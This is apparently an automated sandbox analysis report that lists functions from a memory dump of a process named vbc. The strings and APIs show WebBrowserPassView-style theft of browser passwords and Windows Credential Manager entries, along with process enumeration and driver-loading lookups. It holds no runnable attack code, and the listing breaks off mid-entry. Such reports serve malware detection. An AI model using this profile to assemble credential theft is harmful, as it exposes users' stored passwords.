                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040FC89 Relevance: 31.5, APIs: 9, Strings: 9, Instructions: 41libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,004088B3,?,000000FF,00000000,00000104), ref: 0040FC9C
                                                                                                              • GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation,?,000000FF,00000000,00000104), ref: 0040FCB3
                                                                                                              • GetProcAddress.KERNEL32(NtLoadDriver,?,000000FF,00000000,00000104), ref: 0040FCC5
                                                                                                              • GetProcAddress.KERNEL32(NtUnloadDriver,?,000000FF,00000000,00000104), ref: 0040FCD7
                                                                                                              • GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject,?,000000FF,00000000,00000104), ref: 0040FCE9
                                                                                                              • GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject,?,000000FF,00000000,00000104), ref: 0040FCFB
                                                                                                              • GetProcAddress.KERNEL32(NtQueryObject,?,000000FF,00000000,00000104), ref: 0040FD0D
                                                                                                              • GetProcAddress.KERNEL32(NtSuspendProcess,?,000000FF,00000000,00000104), ref: 0040FD1F
                                                                                                              • GetProcAddress.KERNEL32(NtResumeProcess,?,000000FF,00000000,00000104), ref: 0040FD31
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$HandleModule
                                                                                                              • String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
                                                                                                              • API String ID: 667068680-2887671607
                                                                                                              • Opcode ID: d01a7573c8c1d70ed52b2f6ff8626cb2949720c0675fde4b879603f159105d12
                                                                                                              • Instruction ID: df14504fdc59ccf6a8c55cbe4aacceea24f9204784c5926a31105bf4aba29bc2
                                                                                                              • Opcode Fuzzy Hash: d01a7573c8c1d70ed52b2f6ff8626cb2949720c0675fde4b879603f159105d12
                                                                                                              • Instruction Fuzzy Hash: 8E018478D40314BBEB119F71AC09B563EA9F7187967180977F41862272DBB98810EE8C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040BEB4 Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 184COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040BED5
                                                                                                              • memset.MSVCRT ref: 0040BEFF
                                                                                                              • memset.MSVCRT ref: 0040BF15
                                                                                                              • memset.MSVCRT ref: 0040BF2B
                                                                                                              • _snwprintf.MSVCRT ref: 0040BF64
                                                                                                              • wcscpy.MSVCRT ref: 0040BFAF
                                                                                                              • _snwprintf.MSVCRT ref: 0040C03C
                                                                                                              • wcscat.MSVCRT ref: 0040C06E
                                                                                                                • Part of subcall function 0041248F: _snwprintf.MSVCRT ref: 004124B3
                                                                                                              • wcscpy.MSVCRT ref: 0040C050
                                                                                                              • _snwprintf.MSVCRT ref: 0040C0AD
                                                                                                                • Part of subcall function 00407176: wcslen.MSVCRT ref: 00407183
                                                                                                                • Part of subcall function 00407176: WriteFile.KERNEL32(00000001,00000000,00000000,00000000,00000000), ref: 00407192
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _snwprintfmemset$wcscpy$FileWritewcscatwcslen
                                                                                                              • String ID: bgcolor="%s"$ nowrap$&nbsp;$</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
                                                                                                              • API String ID: 1277802453-601624466
                                                                                                              • Opcode ID: afbe44f23bf8ba0960694767798beca720d6b7b0fa1b1000d23084d0d272dd1b
                                                                                                              • Instruction ID: c023c2c05774347514c90e9c4a79a5fc261e79551634f2018d74b142c4ca0a41
                                                                                                              • Opcode Fuzzy Hash: afbe44f23bf8ba0960694767798beca720d6b7b0fa1b1000d23084d0d272dd1b
                                                                                                              • Instruction Fuzzy Hash: 6B619E31900208EFEF14EF94CC86EAEBB79EF44314F50419AF905AA1D2DB75AA51CF58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004126E8 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 120COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _snwprintf$memset$wcscpy
                                                                                                              • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                                                                                                              • API String ID: 2000436516-3842416460
                                                                                                              • Opcode ID: 226d5b028e445a7516cf64f8fc5c05c3ce0576dee2713dde24e27e7b686f1b2e
                                                                                                              • Instruction ID: df620ac0873104ba588d68bc57a3bc16e82c0a505241d1212890b0a23309d9f4
                                                                                                              • Opcode Fuzzy Hash: 226d5b028e445a7516cf64f8fc5c05c3ce0576dee2713dde24e27e7b686f1b2e
                                                                                                              • Instruction Fuzzy Hash: 03418371D402197AEB20EB55DD41EFB727CFF04304F4401AAB509E2181EB749B948F6A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004035E2 Relevance: 27.1, APIs: 18, Instructions: 66windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040C8CF: memset.MSVCRT ref: 0040C912
                                                                                                                • Part of subcall function 0040C8CF: memset.MSVCRT ref: 0040C927
                                                                                                                • Part of subcall function 0040C8CF: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 0040C939
                                                                                                                • Part of subcall function 0040C8CF: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 0040C957
                                                                                                                • Part of subcall function 0040C8CF: SendMessageW.USER32(?,00001003,00000001,?), ref: 0040C994
                                                                                                                • Part of subcall function 0040C8CF: ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 0040C9A8
                                                                                                                • Part of subcall function 0040C8CF: ImageList_SetImageCount.COMCTL32(00000000,00000006), ref: 0040C9B3
                                                                                                                • Part of subcall function 0040C8CF: SendMessageW.USER32(?,00001003,00000000,?), ref: 0040C9CB
                                                                                                                • Part of subcall function 0040C8CF: ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 0040C9D7
                                                                                                                • Part of subcall function 0040C8CF: GetModuleHandleW.KERNEL32(00000000), ref: 0040C9E6
                                                                                                                • Part of subcall function 0040C8CF: LoadImageW.USER32 ref: 0040C9F8
                                                                                                                • Part of subcall function 0040C8CF: GetModuleHandleW.KERNEL32(00000000), ref: 0040CA03
                                                                                                                • Part of subcall function 0040C8CF: LoadImageW.USER32 ref: 0040CA15
                                                                                                                • Part of subcall function 0040C8CF: ImageList_SetImageCount.COMCTL32(?,00000000), ref: 0040CA26
                                                                                                                • Part of subcall function 0040C8CF: GetSysColor.USER32 ref: 0040CA2E
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 004035F4
                                                                                                              • LoadIconW.USER32 ref: 004035FF
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000000,00000000), ref: 00403610
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 00403614
                                                                                                              • LoadIconW.USER32 ref: 00403619
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000001,00000000), ref: 00403624
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 00403628
                                                                                                              • LoadIconW.USER32 ref: 0040362D
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000002,00000000), ref: 00403638
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 0040363C
                                                                                                              • LoadIconW.USER32 ref: 00403641
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000003,00000000), ref: 0040364C
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 00403650
                                                                                                              • LoadIconW.USER32 ref: 00403655
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000004,00000000), ref: 00403660
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 00403664
                                                                                                              • LoadIconW.USER32 ref: 00403669
                                                                                                              • ImageList_ReplaceIcon.COMCTL32(?,00000005,00000000), ref: 00403674
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Image$Icon$List_$HandleLoadModule$Replace$CountCreateMessageSendmemset$ColorDirectoryFileInfoWindows
                                                                                                              • String ID:
                                                                                                              • API String ID: 792915304-0
                                                                                                              • Opcode ID: cc435ca99fa3c831c04f4257ae775a7279f3e83e44ba77ecb565717d4c2bd910
                                                                                                              • Instruction ID: 62ec96a61e35675a05b55f01cd8090f0511f6faf4d41b9404683e1d7d0c62212
                                                                                                              • Opcode Fuzzy Hash: cc435ca99fa3c831c04f4257ae775a7279f3e83e44ba77ecb565717d4c2bd910
                                                                                                              • Instruction Fuzzy Hash: 6901E1A17957087AF53137B2EC4BF6B7B5EDF81F4AF214414F30C990E0C9A6AD105928
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406B9F Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 174stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407144: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00407156
                                                                                                              • GetFileSize.KERNEL32(00000000,00000000,00000104,00000001,00000000,?,00407052,?,?,?,0000001E), ref: 00406BC8
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 00406BDC
                                                                                                                • Part of subcall function 00407B93: ReadFile.KERNELBASE(?,?,5"D,00000000,00000000), ref: 00407BAA
                                                                                                              • memset.MSVCRT ref: 00406C0B
                                                                                                              • memset.MSVCRT ref: 00406C2B
                                                                                                              • memset.MSVCRT ref: 00406C40
                                                                                                              • strcmp.MSVCRT ref: 00406C64
                                                                                                              • ??3@YAXPAX@Z.MSVCRT ref: 00406DC3
                                                                                                              • CloseHandle.KERNEL32(Rp@), ref: 00406DCC
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Filememset$??2@??3@CloseCreateHandleReadSizestrcmp
                                                                                                              • String ID: ---$Rp@
                                                                                                              • API String ID: 2784192885-2834202798
                                                                                                              • Opcode ID: 70cd323bbf40a81e325ac6262686482494a3ddf5a15bdc79bf31f8763e8c2fcd
                                                                                                              • Instruction ID: 5360a5981a47af023619c2d52a4e150b55de9ab2e9c88b676a0c17dd944fe9c5
                                                                                                              • Opcode Fuzzy Hash: 70cd323bbf40a81e325ac6262686482494a3ddf5a15bdc79bf31f8763e8c2fcd
                                                                                                              • Instruction Fuzzy Hash: 2E51817290815DAAEF21DB558C819DEBBBCEF14304F1040FBE50AA3141DA389FD5DBA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AA44 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 95COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040AA6A
                                                                                                              • memset.MSVCRT ref: 0040AA86
                                                                                                                • Part of subcall function 0040757A: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040AB83,00000000,0040AA36,?,00000000,00000208,?), ref: 00407585
                                                                                                                • Part of subcall function 00441C15: GetFileVersionInfoSizeW.VERSION(0040AAB8,?,00000000), ref: 00441C2B
                                                                                                                • Part of subcall function 00441C15: ??2@YAPAXI@Z.MSVCRT ref: 00441C46
                                                                                                                • Part of subcall function 00441C15: GetFileVersionInfoW.VERSION(0040AAB8,00000000,?,00000000,00000000,0040AAB8,?,00000000), ref: 00441C56
                                                                                                                • Part of subcall function 00441C15: VerQueryValueW.VERSION(00000000,004482D0,0040AAB8,?,0040AAB8,00000000,?,00000000,00000000,0040AAB8,?,00000000), ref: 00441C69
                                                                                                                • Part of subcall function 00441C15: VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,004482D0,0040AAB8,?,0040AAB8,00000000,?,00000000,00000000,0040AAB8,?,00000000), ref: 00441CA6
                                                                                                                • Part of subcall function 00441C15: _snwprintf.MSVCRT ref: 00441CC6
                                                                                                                • Part of subcall function 00441C15: wcscpy.MSVCRT ref: 00441CF0
                                                                                                              • wcscpy.MSVCRT ref: 0040AACA
                                                                                                              • wcscpy.MSVCRT ref: 0040AAD9
                                                                                                              • wcscpy.MSVCRT ref: 0040AAE9
                                                                                                              • EnumResourceNamesW.KERNEL32(0040ABE8,00000004,0040A818,00000000), ref: 0040AB4E
                                                                                                              • EnumResourceNamesW.KERNEL32(0040ABE8,00000005,0040A818,00000000), ref: 0040AB58
                                                                                                              • wcscpy.MSVCRT ref: 0040AB60
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcscpy$File$EnumInfoNamesQueryResourceValueVersionmemset$??2@ModuleNameSize_snwprintf
                                                                                                              • String ID: RTL$TranslatorName$TranslatorURL$Version$general$strings
                                                                                                              • API String ID: 3037099051-517860148
                                                                                                              • Opcode ID: 42bb3ddbac911a4f98fdd80fc46cc1bb05b8c334879e2c61fbf0dcf740b73ed1
                                                                                                              • Instruction ID: 9c0725b1fda07d439eb4652870f5b63d7404026a1df9010dc4cb7dda8e53314a
                                                                                                              • Opcode Fuzzy Hash: 42bb3ddbac911a4f98fdd80fc46cc1bb05b8c334879e2c61fbf0dcf740b73ed1
                                                                                                              • Instruction Fuzzy Hash: 6D21807294021875E720B7529C46ECF7A6CAF40755F90447BF60CB20D2EAB85B948AAE
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004038C4 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 33libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryW.KERNEL32(advapi32.dll,?,00409AAA,?,https://login.yahoo.com/config/login,00000000,http://www.facebook.com/,00000000,https://www.google.com/accounts/servicelogin,00000000,?,00000000,?,0041018E,?,?), ref: 004038CF
                                                                                                              • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,0041018E,?,?,?,?,0040328B,?), ref: 004038E3
                                                                                                              • GetProcAddress.KERNEL32(?,CryptReleaseContext,?,0041018E,?,?,?,?,0040328B,?), ref: 004038EF
                                                                                                              • GetProcAddress.KERNEL32(?,CryptCreateHash,?,0041018E,?,?,?,?,0040328B,?), ref: 004038FB
                                                                                                              • GetProcAddress.KERNEL32(?,CryptGetHashParam,?,0041018E,?,?,?,?,0040328B,?), ref: 00403907
                                                                                                              • GetProcAddress.KERNEL32(?,CryptHashData,?,0041018E,?,?,?,?,0040328B,?), ref: 00403913
                                                                                                              • GetProcAddress.KERNEL32(?,CryptDestroyHash,?,0041018E,?,?,?,?,0040328B,?), ref: 0040391F
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$LibraryLoad
                                                                                                              • String ID: CryptAcquireContextA$CryptCreateHash$CryptDestroyHash$CryptGetHashParam$CryptHashData$CryptReleaseContext$advapi32.dll
                                                                                                              • API String ID: 2238633743-1621422469
                                                                                                              • Opcode ID: 1f0e41ba9439715e20e962f0f0f69e7cffe4c0714adecff32c833d06c54dafe9
                                                                                                              • Instruction ID: 1a4948e4bf817cd33749cdf205c6c1bb7532e39c1774f91cd0a649ea1cfd5687
                                                                                                              • Opcode Fuzzy Hash: 1f0e41ba9439715e20e962f0f0f69e7cffe4c0714adecff32c833d06c54dafe9
                                                                                                              • Instruction Fuzzy Hash: 18F0F475940744AAEB30AF769D49E06BEF0EFA8B027218D2EE1C1A3651D7B99240CE44
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410D5D Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 48libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • LoadLibraryW.KERNEL32(psapi.dll,?,0040F921), ref: 00410D70
                                                                                                              • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW,74EDCFBC), ref: 00410D89
                                                                                                              • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00410D9A
                                                                                                              • GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 00410DAB
                                                                                                              • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00410DBC
                                                                                                              • GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 00410DCD
                                                                                                              • FreeLibrary.KERNEL32(00000000), ref: 00410DED
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$Library$FreeLoad
                                                                                                              • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                                              • API String ID: 2449869053-70141382
                                                                                                              • Opcode ID: 03c5cb85ec8565a209b0338e2b218e2b3a1591461e747cd833f82df10bd978eb
                                                                                                              • Instruction ID: 1ed5449ad40e57d8b224171af96504b1ffda3ff1f81db88aadee6c58e1c1cdad
                                                                                                              • Opcode Fuzzy Hash: 03c5cb85ec8565a209b0338e2b218e2b3a1591461e747cd833f82df10bd978eb
                                                                                                              • Instruction Fuzzy Hash: BB01B574A45312AEE7109B64FC40BFB2EA4B781B42B20403BE400D1396DBBCD8C29A6C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E191 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _wcsicmp
                                                                                                              • String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
                                                                                                              • API String ID: 2081463915-1959339147
                                                                                                              • Opcode ID: b616bea398b4ca2207bf7c5dde01c93d20d234ad121985eea5c1f5da2cadd933
                                                                                                              • Instruction ID: 054bd0190cb9dfc881084e553ec7e2e67fad8357780775fa0482b63ba5cfd284
                                                                                                              • Opcode Fuzzy Hash: b616bea398b4ca2207bf7c5dde01c93d20d234ad121985eea5c1f5da2cadd933
                                                                                                              • Instruction Fuzzy Hash: 7101DE72ACA31138F83851672D17F971A598FA1B7AF70196FF514D81C6EEAC9000709D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410CD9 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,0040F928), ref: 00410CE8
                                                                                                              • GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot,74EDCFBC), ref: 00410D01
                                                                                                              • GetProcAddress.KERNEL32(00000000,Module32First), ref: 00410D12
                                                                                                              • GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00410D23
                                                                                                              • GetProcAddress.KERNEL32(00000000,Process32First), ref: 00410D34
                                                                                                              • GetProcAddress.KERNEL32(00000000,Process32Next), ref: 00410D45
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$HandleModule
                                                                                                              • String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
                                                                                                              • API String ID: 667068680-3953557276
                                                                                                              • Opcode ID: 620f7fb1875e6c1fe369c72aee23538108181ed26fa9b0cca4b6b71503556dd6
                                                                                                              • Instruction ID: 16f3a03532fd71bf7b987582fee040d1dd7fa58dea07b6b8c7b27d1037cf047a
                                                                                                              • Opcode Fuzzy Hash: 620f7fb1875e6c1fe369c72aee23538108181ed26fa9b0cca4b6b71503556dd6
                                                                                                              • Instruction Fuzzy Hash: 92F0F474605321A9A3108BA8BD00BA72FF86781F52B10013BED00D1266DBBCD8C29F7E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004037C3 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 41libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040383E: FreeLibrary.KERNEL32(?,004037CB,00000000,00408635,?,00000000,?), ref: 00403845
                                                                                                              • LoadLibraryW.KERNEL32(advapi32.dll,00000000,00408635,?,00000000,?), ref: 004037D0
                                                                                                              • GetProcAddress.KERNEL32(00000000,CredReadA,?), ref: 004037E9
                                                                                                              • GetProcAddress.KERNEL32(?,CredFree), ref: 004037F5
                                                                                                              • GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00403801
                                                                                                              • GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 0040380D
                                                                                                              • GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 00403819
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$Library$FreeLoad
                                                                                                              • String ID: CredDeleteA$CredEnumerateA$CredEnumerateW$CredFree$CredReadA$advapi32.dll
                                                                                                              • API String ID: 2449869053-4258758744
                                                                                                              • Opcode ID: cb87cb7b44b35881c8e04de2777173e0b76236c73d0c14512c4dcac4629ff988
                                                                                                              • Instruction ID: c94656deef6b20b6b745ef32668947add9de3545ed3fb2bb9f52e7e7eb3e89f2
                                                                                                              • Opcode Fuzzy Hash: cb87cb7b44b35881c8e04de2777173e0b76236c73d0c14512c4dcac4629ff988
                                                                                                              • Instruction Fuzzy Hash: D9012C355007809AD730AF6AC809F06BEE4EF54B02B21886FF091A3791D7B9E240CF48
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004033DF Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 85COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407176: wcslen.MSVCRT ref: 00407183
                                                                                                                • Part of subcall function 00407176: WriteFile.KERNEL32(00000001,00000000,00000000,00000000,00000000), ref: 00407192
                                                                                                              • memset.MSVCRT ref: 00403415
                                                                                                              • memset.MSVCRT ref: 0040342A
                                                                                                              • memset.MSVCRT ref: 0040343F
                                                                                                              • _snwprintf.MSVCRT ref: 00403467
                                                                                                              • wcscpy.MSVCRT ref: 00403483
                                                                                                              • _snwprintf.MSVCRT ref: 004034C6
                                                                                                              Strings
                                                                                                              • <meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 0040345A
                                                                                                              • <table dir="rtl"><tr><td>, xrefs: 0040347D
                                                                                                              • <br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 004034B9
                                                                                                              • <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 004033EF
                                                                                                              • WebBrowserPassView, xrefs: 004034AB
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$_snwprintf$FileWritewcscpywcslen
                                                                                                              • String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>$WebBrowserPassView
                                                                                                              • API String ID: 2731979376-1376879643
                                                                                                              • Opcode ID: f8e001787c2363cba2026e3d3c8ba2c251a00b45d532011988efd28241eb9acd
                                                                                                              • Instruction ID: ae32d01ec2d3a7685ec326ba9a70c170c8059c8ae6e66fa8bd15e07dd33865c2
                                                                                                              • Opcode Fuzzy Hash: f8e001787c2363cba2026e3d3c8ba2c251a00b45d532011988efd28241eb9acd
                                                                                                              • Instruction Fuzzy Hash: 2E217672D002187ADB21AF55DC41FEA76BCEB08785F0040AFF509A6191DA799F848F69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040DE35 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 153windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • SetBkMode.GDI32(?,00000001), ref: 0040DE90
                                                                                                              • SetTextColor.GDI32(?,00FF0000), ref: 0040DE9E
                                                                                                              • SelectObject.GDI32(?,?), ref: 0040DEB3
                                                                                                              • DrawTextExW.USER32(?,?,000000FF,?,00000004,?), ref: 0040DEE9
                                                                                                              • SelectObject.GDI32(00000014,00000000), ref: 0040DEF3
                                                                                                              • GetModuleHandleW.KERNEL32(00000000), ref: 0040DF0E
                                                                                                              • LoadCursorW.USER32 ref: 0040DF17
                                                                                                              • SetCursor.USER32(00000000), ref: 0040DF1E
                                                                                                              • PostMessageW.USER32 ref: 0040DF64
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CursorObjectSelectText$ColorDrawHandleLoadMessageModeModulePost
                                                                                                              • String ID: WebBrowserPassView
                                                                                                              • API String ID: 101102110-2171583229
                                                                                                              • Opcode ID: d30b9dbd8ebc4ebaeb5335cce5274ca5fb8e94d47e078bea0be9f04dbaba8f28
                                                                                                              • Instruction ID: 5844c3f8be721e5f4358c4987d475350c1bb70f51af30b4dfd416207439779ca
                                                                                                              • Opcode Fuzzy Hash: d30b9dbd8ebc4ebaeb5335cce5274ca5fb8e94d47e078bea0be9f04dbaba8f28
                                                                                                              • Instruction Fuzzy Hash: D451D431A00206ABDB10AFA4C845F6AB7A6BF44315F20853AF507B72E0C779AD15DB99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040931D Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 110stringfileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
